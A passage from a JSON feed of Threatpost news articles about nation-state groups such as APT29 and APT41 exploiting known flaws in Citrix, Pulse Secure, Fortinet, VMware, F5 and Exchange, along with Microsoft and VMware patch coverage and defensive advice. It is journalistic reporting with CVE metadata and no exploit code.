Mandiant](<https://www.fireeye.com/current-threats/apt-groups/rpt-apt29.html>) believe APT29 to be linked to Russian government-backed operations \u2013 an assessment that the DHS and NCSC reiterated in the latest advisory, saying that it is \u201calmost certainly part of the Russian intelligence services.\u201d\n\nWhile its publicly profiled activity tends to be sporadic, APT29 is rarely at rest, according to Mandiant\u2019s Hultquist.\n\n\u201cDespite involvement in several high-profile incidents, APT29 rarely receives the same attention as other Russian actors because they tend to quietly focus on intelligence collection,\u201d he said via email. \u201cWhereas GRU actors have brazenly leaked documents and carried out destructive attacks, APT29 digs in for the long term, siphoning intelligence away from its target.\u201d\n\nThis latest case is no exception to that M.O., according to the advisory: \u201cAPT29 is likely to continue to target organizations involved in COVID-19 vaccine research and development, as they seek to answer additional intelligence questions relating to the pandemic,\u201d the agencies concluded.\n\nThat said, at least one researcher warned that the end-game of the activity might be more nefarious than simply getting a leg up on a cure.\n\n\u201cAPT29 (Cozy Bear, Office Monkeys) has successfully demonstrated the extension of nation-state power through cyber-action for more than a dozen years,\u201d Michael Daly, CTO at Raytheon Intelligence & Space, said via email. \u201cHowever, they are not focused on simple intellectual property theft. Instead, their focus is rooted in influence operations \u2013 the changing of hearts and minds to thwart and diminish the power of governments and organizations.\u201d\n\nHe added, \u201cIn the case of this breach of vaccine research centers, we should be most concerned not that someone else might also get a vaccine, but that the information will be used to undermine the confidence of the public in the safety or efficacy of the vaccines, slowing their adoption, or in some way cause their release to be delayed. The effect of such a delay would be both impactful to the health of Western populations, but also to the social stability and economic stability of the West.\u201d\n", "cvss3": {}, "published": "2020-07-16T18:05:20", "type": "threatpost", "title": "Hackers Look to Steal COVID-19 Vaccine Research", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670"], "modified": "2020-07-16T18:05:20", "id": "THREATPOST:1FB73160B6AAB2B0406816BB6A61E4CB", "href": "https://threatpost.com/state-sponsored-hackers-steal-covid-19-vaccine-research/157514/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-25T02:52:39", "description": "[](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)\n\nClick to Register\n\nVMware has patched three vulnerabilities in its virtual-machine infrastructure for data centers, the most serious of which is a remote code execution (RCE) flaw in its vCenter Server management platform. The vulnerability could allow attackers to breach the external perimeter of an enterprise data center or leverage backdoors already installed on a system to find other vulnerable points of network entry to take over affected systems.\n\nPositive Technologies researcher Mikhail Klyuchnikov discovered two of the flaws in vCenter Server, the centralized management and automation platform for VMware\u2019s vSphere virtualization platform, which\u2014given VMware\u2019s dominant position in the market\u2014is used by the majority of enterprise data centers. Among its duties, vCenter Server manages virtual machines, multiple ESXi hypervisor hosts and other various dependent components from a central management dashboard.\n\n## **Where the VMware Flaws Were Found, What\u2019s Effected? **\n\nThe researcher found the most critical of the flaws, which is being tracked as [CVE-2021-21972](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21972>) and has a CVSS v3 score of 9.8, in a vCenter Server plugin for vROPs in the vSphere Client functionality, according to [an advisory](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) posted online Tuesday by VMware.\n\n\u201cA malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\u201d the company said.\n\nThe plugin is available in all default installations\u2014potentially giving attackers a wide attack surface\u2013and vROPs need not be present to have this endpoint available, according to VMware.\n\nThe main threat in terms of exploiting the vulnerability comes from insiders who have penetrated the protection of the network perimeter using other methods\u2013such as social engineering or web vulnerabilities\u2013or have access to the internal network using previously installed backdoors, according to Positive Technologies.\n\nKlyuchnikov said the VMware flaw poses \u201cno less threat\u201d than a notoriously easy-to-exploit[ Citrix RCE vulnerability](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>), [CVE-2019-19781](<https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiOm6_Z4rnuAhWwlosKHTPHARo4ChAWMAJ6BAgLEAI&url=https://www.forbes.com/sites/daveywinder/2020/01/25/critical-security-warning-as-shitrix-hackers-ramp-up-critical-citrix-vulnerability-cve201919781-attacks/&usg=AOvVaw2MEaqcCGRpYlOcxC-Bey_j>), which was discovered two years ago affecting more than 25,000 servers globally. It is especially dangerous because \u201cit can be used by any unauthorized user,\u201d he said.\n\n\u201cThe error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server,\u201d Klyuchnikov explained. \u201cAfter receiving such an opportunity, the attacker can develop this attack, successfully move through the corporate network, and gain access to the data stored in the attacked system, such as information about virtual machines and system users.\u201d\n\n## How is CVE-2021-21972 Exploited?\n\nIn the case in which vulnerable software can be accessed from the internet, an external attacker can break into a company\u2019s external perimeter and also gain access to sensitive data, he added. This scenario is highly likely based on previous pentests executed by Positive Technologies, which allowed researchers to breach the network perimeter and gain access to local network resources in 93 percent of companies, according to the company.\n\nAnother flaw patched by VMware in the update also has potential for remote code execution and affects the hypervisor [VMware ESXi](<https://threatpost.com/vmware-critical-flaw-esxi-hypervisor/161457/>) , the company said. [CVE-2021-21974](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21974>), with a CVSSv3 base score of 8.9. is a heap-overflow vulnerability in the OpenSLP component as used in an ESXi host.\n\nA threat actor who\u2019s already inside the same network segment as an ESXi host and has access to port 427 can use the vulnerability to trigger the heap-overflow issue in the OpenSLP service, resulting in remote code execution, according to VMware.\n\nThe other flaw Klyuchnikov discovered\u2014tracked as [CVE-2021-21973](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21973>) and the least serious of the three\u2013is a Server Side Request Forgery (SSRF) vulnerability due to improper validation of URLs in a vCenter Server plugin with a CVSS score of 5.3, according to VMWare. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure,\u201d the company said.\n\nUnauthorized users can use the flaw to send requests as the targeted server to help threat actors develop further attacks. Used in combination with the other vulnerabilities, attackers could leverage it to scan the company\u2019s internal network and obtain information about the open ports of various services, Klyuchnikov said.\n\n## What VMware is Recommending for a Fix to the Data Center Bugs?\n\nVMware advised customers to install all updates provided to affected deployments to remediate the threat the vulnerabilities pose. The company also provided workarounds for those who can\u2019t immediately update their systems.\n\nPositive Technologies also recommended that companies affected who have vCenter Server interfaces on the perimeter of their organizations remove them, and also allocate the interfaces to a separate VLAN with a limited access list in the internal network, the company said.\n\n**_Is your small- to medium-sized business an easy mark for attackers?_**\n\n**Threatpost WEBINAR:** _ Save your spot for \u201c_**15 Cybersecurity Gaffes SMBs Make**_,\u201d a _[**_FREE Threatpost webinar_**](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)** _on Feb. 24 at 2 p.m. ET._**_ Cybercriminals count on you making these mistakes, but our experts will help you lock down your small- to mid-sized business like it was a Fortune 100. _[_Register NOW_](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)_ for this **LIVE **webinar on Wed., Feb. 24._\n", "cvss3": {}, "published": "2021-02-24T17:14:55", "type": "threatpost", "title": "VMWare Patches Critical RCE Flaw in vCenter Server", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974"], "modified": "2021-02-24T17:14:55", "id": "THREATPOST:2243706D17F2A1E930A00F49D8E30720", "href": "https://threatpost.com/vmware-patches-critical-rce-flaw-in-vcenter-server/164240/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-16T18:13:10", "description": "The Feds are warning that nation-state actors are once again after U.S. assets, this time in a spate of cyberattacks that exploit five vulnerabilities that affect VPN solutions, collaboration-suite software and virtualization technologies.\n\nAccording to the U.S. National Security Agency (NSA), which issued [an alert Thursday,](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/%20/#pop5008885>) the advanced persistent threat (APT) group [known as APT29](<https://threatpost.com/state-sponsored-hackers-steal-covid-19-vaccine-research/157514/>) (a.k.a. Cozy Bear or The Dukes) is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access.\u201d\n\nThe targets include U.S. and allied national-security and government networks, it added.\n\n[](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)\n\nJoin experts from Digital Shadows (Austin Merritt), Malwarebytes (Adam Kujawa) and Sift (Kevin Lee) to find out how cybercrime forums really work. FREE! Register by clicking above.\n\nThe five bugs under active attack are known, fixed security holes in platforms from Citrix, Fortinet, Pulse Secure, Synacor and VMware (detailed below) that organizations should patch immediately, researchers warned.\n\n\u201cSome of these vulnerabilities also have working Metasploit modules and are currently being widely exploited,\u201d said researchers with Cisco Talos, in a [related posting](<https://blog.talosintelligence.com/2021/04/nsa-svr-coverage.html#more>) on Thursday. \u201cPlease note that some of these vulnerabilities exploit applications leveraging SSL. This means that users should enable SSL decryption\u2026to detect exploitation of these vulnerabilities.\u201d\n\nThe NSA has linked APT29 to Russia\u2019s Foreign Intelligence Services (SVR). The news comes as the U.S. formally attributed the recent [SolarWinds supply-chain attack](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n## **The 5 Vulnerabilities Being Actively Exploited**\n\nAccording to the NSA, the following are under widespread attack in cyber-espionage efforts:\n\n * CVE-2018-13379 Fortinet FortiGate SSL VPN (path traversal)\n * CVE-2019-9670 Synacor Zimbra Collaboration Suite (XXE)\n * CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN (arbitrary file read)\n * CVE-2019-19781 Citrix Application Delivery Controller and Gateway (directory traversal)\n * CVE-2020-4006 VMware Workspace ONE Access (command injection)\n\n\u201cVulnerabilities in two VPN systems, two virtualization platforms and one collaboration solution seem to be a mighty combo,\u201d Dirk Schrader, global vice president of security research at New Net Technologies, told Threatpost. \u201cFour of them are 12 months or older, which is not a good sign for the overall cyber-hygiene in the U.S., given that all are either rated as severe or even critical in NIST\u2019s NVD. It looks like that adversaries can rely on the lack of diligence related to essential cybersecurity control, even more so in pandemic times.\u201d\n\n## **CVE-2018-13379**\n\nA directory traversal vulnerability in Fortinet FortOS allows unauthenticated attackers to access and download system files, by sending specially crafted HTTP resource requests. \u201cThis can result in the attacker obtaining VPN credentials, which could allow an initial foothold into a target network,\u201d according to Cisco Talos.\n\nThe NSA explained that it arises from an improper limitation of a pathname to a restricted directory. It affects Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12.\n\nThe nation-state issue is ongoing: Earlier in April, the FBI and the Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) APTs were actively exploiting the bug.\n\n## **CVE-2019-9670**\n\nThis bug is an XML External Entity Injection (XXE) vulnerability in the mailbox component of the Synacore Zimbra Collaboration Suite. Attackers can exploit it to gain access to credentials to further their access or as an initial foothold into a target network. It affects Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10.\n\n## **CVE-2019-11510**\n\nIn Pulse Secure VPNs, a critical arbitrary file-reading flaw opens systems to exploitation from remote, unauthenticated attackers looking to gain access to a victim\u2019s networks. Attacker can send a specially crafted URI to trigger the exploit. It affects Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4.\n\n\u201cThis can be abused by attackers to access sensitive information, including private keys and credentials,\u201d explained Cisco Talos researchers.\n\nLast April, the Department of Homeland Security (DHS) began urging companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, after several cyberattacks targeted companies who had previously patched a related flaw in the VPN family.\n\nAt the time, DHS [warned that attackers](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) who have already exploited the flaw to snatch up victims\u2019 credentials were using those credentials to move laterally through organizations, rendering patches useless.\n\nThen September, a successful cyberattack on an unnamed federal agency [was attributed to](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>) exploitation of the bug. \u201cIt is possible the cyber-actor obtained the credentials from an unpatched agency VPN server by exploiting a known vulnerability \u2013 CVE-2019-11510 \u2013 in Pulse Secure,\u201d according to CISA\u2019s alert at the time. \u201cCVE-2019-11510\u2026allows the remote, unauthenticated retrieval of files, including passwords. CISA has observed wide exploitation of CVE-2019-11510 across the federal government.\u201d\n\n## **CVE-2019-19781**\n\nThis critical directory-traversal vulnerability in the Citrix Application Delivery Controller (ADC) and Gateway that can allow remote code-execution. It was first disclosed as a zero-day in December 2019, after which Citrix [rolled out patches](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) amidst dozens of proof-of-concept exploits and skyrocketing exploitation attempts.\n\nIt affects Citrix ADC and Gateway versions before 13.0.47.24, 12.1.55.18, 12.0.63.13, 11.1.63.15 and 10.5.70.12 and SD-WAN WANOP 4000-WO, 4100-WO, 5000-WO, and 5100-WO versions before 10.2.6b and 11.0.3b.\n\n## **C****VE-2020-4006**\n\nAnd finally, a command-injection vulnerability in VMWare Workspace One Access, Access Connector, Identity Manager and Identity Manager Connector allows arbitrary command execution on underlying operating systems. A successful exploit does, however, require valid credentials to the configurator admin account, so it must be chained with another bug to use it.\n\nNonetheless, in December the NSA [warned that](<https://threatpost.com/nsa-vmware-bug-under-attack/161985/>) foreign adversaries were zeroing in on exploiting the flaw, despite patches rolling out just days earlier. State actors were using the bug to pilfer protected data and abuse shared authentication systems, it said.\n\nIt affects VMware One Access 20.01 and 20.10 on Linux, VMware Identity Manager 3.3.1 \u2013 3.3.3 on Linux, VMware Identity Manager Connector 3.3.1 \u2013 3.3.3 and 19.03, VMware Cloud Foundation 4.0 \u2013 4.1, and VMware Vrealize Suite Lifecycle Manager 8.x.\n\n## **How Can I Protect Against Cyberattacks?**\n\nThe NSA recommended several best practices to protect organizations from attack:\n\n * Update systems and products as soon as possible after patches are released.\n * Assume a breach will happen; review accounts and leverage the latest eviction guidance available.\n * Disable external management capabilities and set up an out-of-band management network.\n * Block obsolete or unused protocols at the network edge and disable them in client device configurations.\n * Adopt a mindset that compromise happens: Prepare for incident response activities.\n\n\u201cIf publicly known, patchable exploits still have gas in the tank, this is just an indictment against the status-quo disconnect between many organizations\u2019 understanding of risk and basic IT hygiene,\u201d Tim Wade, technical director on the CTO team at Vectra, told Threatpost. \u201cThe unfortunate reality is that for many organizations, the barrier to entry into their network continues to be low-hanging fruit which, for one reason or another, is difficult for organizations to fully manage.\u201d\n\nHe added, \u201cThis underscores why security leaders should assume that for all the best intentions of their technology peers, compromises will occur \u2013 their imperative is to detect, respond and recover from those events to expel adversaries before material damage is realized.\u201d\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _**[**_FREE Threatpost event_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt), Malwarebytes (Adam Kujawa) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _**[**_Register here_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-16T18:10:09", "type": "threatpost", "title": "NSA: 5 Security Bugs Under Active Nation-State Cyberattack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-16T18:10:09", "id": "THREATPOST:2E607CF584AE6639AC690F7F0CE8C648", "href": "https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-11T18:04:31", "description": "Microsoft tackled 115 bug fixes as part of its March Patch Tuesday update \u2013 26 rated critical and 88 rated medium severity. The bugs patched span its product catalog, from Azure DevOps to Windows 10.\n\nThis month\u2019s haul is notable in its quantity and that there are only a few stand-out bugs causing headaches for system administrators. Unlike [last month](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>), Microsoft did not report that any of its bugs were publicly known or under attack at the time it released its bulletin.\n\nWithin the mix of critical issues, Microsoft tacked three remote code execution vulnerabilities. Two are tied to Internet Explorer (CVE-2020-0833, CVE-2020-0824) and the third (CVE-2020-0847) to the VBscript scripting language used by Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAs for the two bugs in IE, researchers warned that either one could lead to code execution only if the victim was logged in with administrative rights.\n\n\u201cThe vulnerabilities could corrupt memory allowing an attacker to execute arbitrary code in the context of the current user,\u201d wrote Jay Goodman, strategic product marketing at Automox, via email. \u201cWhat this means is that an attacker could run malicious code directly on the user\u2019s system. If the user is logged in with administrative rights, those rights would extend to the code.\u201d\n\nAs for the VBscript bug, the researcher said, if an attacker was successful in commandeering the tool via code execution, it would allow an adversary to have sysadmin-like powers. That would allow them to run scripts and leverage software tools to control connected endpoints. \u201c[It] will give the user complete control over many aspects of the device,\u201d Melick said.\n\nAs for the other critical bugs, 17 fixes are tied to Microsoft\u2019s browser and scripting engines, four are for Media Foundation, two are for GDI+ and the remaining three address potentially dangerous LNK files and Microsoft Word and Dynamics Business, points out Animesh Jain with Qualys\u2019 Patch Tuesday team.\n\nJain also singled out another remote code-execution vulnerability (CVE-2020-0852), this time in Microsoft Word. \u201cAn attacker could exploit the vulnerability using a specially crafted file to perform actions on behalf of the logged-in user with the same permissions as the current user,\u201d he noted.\n\nTodd Schell, senior product manager for security at Ivanti, pointed out that the Word issue \u201ccould be exploited through the Preview Pane in Outlook, making it a more interesting target for threat actors.\u201d\n\nHe also noted that Microsoft announced a vulnerability in its Remote Desktop Connection Manager (CVE-2020-0765) that the software giant said it won\u2019t fix. \u201cThey do not plan to release an update to fix the issue,\u201d he said in a prepared statement. \u201cThe product has been deprecated. Their guidance is to use caution if you continue to use RDCMan, but recommends moving to supported Remote Desktop clients.\u201d\n\nThis month Microsoft offered its usual perfunctory advice:\n\n\u201cApply appropriate patches or appropriate mitigations provided by Microsoft to vulnerable systems immediately after appropriate testing. Run all software as a non-privileged user (one without administrative rights) to diminish the effects of a successful attack,\u201d it wrote. Besides suggesting to users not to visit untrusted sites or click on suspect links, it recommends, \u201capply the principle of least privilege to all systems and services.\u201d\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-10T21:19:39", "type": "threatpost", "title": "Microsoft Patches 26 Critical Bugs in Big March Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-0765", "CVE-2020-0824", "CVE-2020-0833", "CVE-2020-0847", "CVE-2020-0852"], "modified": "2020-03-10T21:19:39", "id": "THREATPOST:2D47D18D36043D4DFBFAD7C64345410E", "href": "https://threatpost.com/microsoft-patches-bugs-march-update/153597/?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-patches-bugs-march-update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:22:15", "description": "Researchers warn that APT41, a notorious China-linked threat group, has targeted more than 75 organizations worldwide in \u201cone of the broadest campaigns by a Chinese cyber-espionage actor observed in recent years.\u201d\n\nBetween Jan. 20 and March 11, researchers observed APT41 exploiting vulnerabilities in Citrix NetScaler/ADC, Cisco routers and Zoho ManageEngine Desktop Central as part of the widespread espionage campaign. Researchers said it\u2019s unclear if APT41 attempted exploitation en masse, or if they honed in on specific organizations \u2014 but the victims do appear to be more targeted in nature.\n\n\u201cWhile APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41,\u201d wrote Christopher Glyer, Dan Perez, Sarah Jones and Steve Miller with FireEye, in a [Wednesday analysis](<https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nDozens of companies were targeted from varying industries, including banking and finance, defense industrial bases, government, healthcare, legal, manufacturing, media, non-profit, oil and gas, transportation and utilities. APT41 also targeted firms from a broad array of countries, including Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, the U.K. and the U.S.\n\n**Cisco, Citrix and Zoho Exploits**\n\nStarting on Jan. 20, researchers observed the threat group attempting to exploit the notorious flaw ([CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)) in Citrix Application Delivery Controller (ADC) and Citrix Gateway devices revealed as a zero-day then patched earlier this year. It was [disclosed on Dec. 17](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>) \u2013 and [proof of concept (PoC) code](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) was released shortly after \u2013 before a patch [was issued in January](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>).\n\nIn this campaign, researchers observed three waves of exploits against [CVE-2019-19781](<https://threatpost.com/critical-citrix-rce-flaw-corporate-lans/152677/>) \u2013 the first on Jan. 20 \u2013 21, the second on Feb. 1, and finally a \u201csignificant uptick\u201d in exploitation on Feb. 24 \u2013 25.\n\nPost-exploit, APT41 executed a command (\u2018file /bin/pwd\u2019) on affected systems that researchers say may have achieved two objectives: \u201cFirst, it would confirm whether the system was vulnerable and the mitigation wasn\u2019t applied,\u201d researchers noted. \u201cSecond, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.\u201d\n\nOn Feb. 21, researchers next observed APT41 switching gears to exploit a Cisco RV320 router (Cisco\u2019s WAN VPN routers for small businesses) at a telecommunications organization. After exploitation, the threat actors downloaded an executable and linkable format (ELF) binary payload. Researchers aren\u2019t sure what specific exploit was used in this case, but pointed to a Metasploit module combining two CVEs ([CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) and [CVE-2019-1652](<https://nvd.nist.gov/vuln/detail/CVE-2019-1652>)) to [enable remote code execution on Cisco RV320 and 